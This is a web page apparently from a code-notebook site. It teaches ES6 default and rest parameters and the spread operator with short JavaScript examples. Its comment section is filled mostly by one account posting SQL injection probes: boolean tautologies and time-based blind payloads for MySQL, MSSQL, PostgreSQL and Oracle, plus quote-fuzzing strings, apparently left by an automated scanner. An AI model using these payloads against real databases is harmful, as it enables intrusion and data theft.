ES6 Default, Rest, and Spread

node v0.12.18
version: 1.0.0
endpointsharetweet
ES6 adds default and rest parameters to your functions. Default parameters can replace the old method of having to check whether arguments were passed in, then assigning them if they're missing:
var production = true; // By default, use log. Before we'd have to check argument.length // or whether type was undefined to get the same effect: function DEV_LOG(string, type = "log") { if (!production || type === "error") console[type](string); } // Won't print since in production. DEV_LOG("Status Log"); // Will print since its an error. DEV_LOG("Error Log", "error");
With rest parameters, you can easily treat multiple parameters as if they were part of a list:
function hasAny(array, ...needles) { return needles.some(aNeedle => array.indexOf(aNeedle) !== -1) } hasAny([1,2,3,4,5,6,7], 101, 9, 7)
Spread allows you to do the opposite. Many functions expect all the items to be given as parameters, not one big list (such as Math.max). Spread allows us to "unwind" a list into parameters:
var numbers = [1,2,3,4,5,6,7,8,9,10]; Math.max(...numbers);
Loading…

28 comments

  • posted a year ago by 65374c7ea7ec220008a7bdfb
    I
  • posted a year ago by elmonjo
    I want to go lovely
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1 OR 2+820-820-1=0+0+0+1 --
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1 OR 2+827-827-1=0+0+0+1
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1' OR 2+194-194-1=0+0+0+1 --
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1' OR 2+421-421-1=0+0+0+1 or 'Ica3fizv'='
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1" OR 2+173-173-1=0+0+0+1 --
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1*if(now()=sysdate(),sleep(15),0)
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1; waitfor delay '0:0:15' --
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1); waitfor delay '0:0:15' --
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1 waitfor delay '0:0:15' --
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1zDQ1F3hS'; waitfor delay '0:0:15' --
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1 OR 572=(SELECT 572 FROM PG_SLEEP(15))--
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1) OR 106=(SELECT 106 FROM PG_SLEEP(15))--
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1)) OR 981=(SELECT 981 FROM PG_SLEEP(15))--
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1SMCzNGXv' OR 555=(SELECT 555 FROM PG_SLEEP(15))--
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1MO6OYHkP') OR 92=(SELECT 92 FROM PG_SLEEP(15))--
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1p7Ulov95')) OR 12=(SELECT 12 FROM PG_SLEEP(15))--
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    '"
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    ����%2527%2522\'\"
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    @@Dn64w

sign in to comment